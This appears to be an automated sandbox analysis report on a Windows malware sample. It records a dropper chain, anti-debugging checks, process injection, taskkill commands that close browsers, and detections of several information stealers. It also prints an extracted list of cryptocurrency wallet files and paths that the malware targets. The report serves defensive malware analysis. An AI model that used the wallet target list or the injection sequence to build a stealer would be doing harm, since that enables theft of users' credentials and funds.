Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe

Code function: 20_2_050802FC rdtsc

20_2_050802FC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6AAC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B0652B mov eax, dword ptr fs:[00000030h]	22_2_00B0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B0A302 mov eax, dword ptr fs:[00000030h]	22_2_00B0A302
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D521A4 mov edi, dword ptr fs:[00000030h]	23_2_00D521A4
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D325A0 mov edi, dword ptr fs:[00000030h]	23_2_00D325A0

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe

Code function: 23_2_00D3FC50 GetProcessHeap,

23_2_00D3FC50

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C6AAC62
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D39B29 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_00D39B29
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D3A494 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00D3A494
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D3A488 SetUnhandledExceptionFilter,	23_2_00D3A488
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D3CE1A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00D3CE1A

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 27ee25f0d2.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 27ee25f0d2.exe PID: 8224, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe

Code function: 23_2_00D521A4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

23_2_00D521A4

Detected PureCrypter Trojan

Source: 684030933f.exe, 0000001C.00000003.3094778352.0000000005599000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-12,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-66,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-486,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.2903.48"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures":["msNurturingCIPasswordZeroStateV2"],"paramete

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe

Memory written: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEHJKJEBGH.exe "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe "C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe "C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe "C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe "C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe "C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"

Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C6F4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C5D1C30

Source: ddf08f7f32.exe, 00000020.00000000.3163691383.0000000000DD2000.00000002.00000001.01000000.00000013.sdmp, ddf08f7f32.exe.22.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000000.00000002.2570283782.0000000000C75000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000002D.00000002.3298815267.00000027515FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6AAE71 cpuid

0_2_6C6AAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6AA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C6AA8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 22_2_00AD65E0 LookupAccountNameA,

22_2_00AD65E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F8390 NSS_GetVersion,

0_2_6C5F8390

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: 684030933f.exe, 0000001C.00000003.3196190516.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3196273513.00000000009CE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsJEHJKJEBGH.exe.620000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2648360927.0000000000621000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3293398969.0000000000AD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2680309416.0000000000AD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2689867502.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2636957291.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2561753218.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ddf08f7f32.exe PID: 4308, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 684030933f.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 684030933f.exe PID: 2452, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000002.3156216990.0000000000C31000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3254467296.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3106886868.0000000005600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2020653471.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3294805901.0000000000C31000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2569760709.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2571085953.000000000112E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 27ee25f0d2.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 27ee25f0d2.exe PID: 8224, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569760709.0000000000965000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\.W
Source: file.exe, 00000000.00000002.2571085953.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
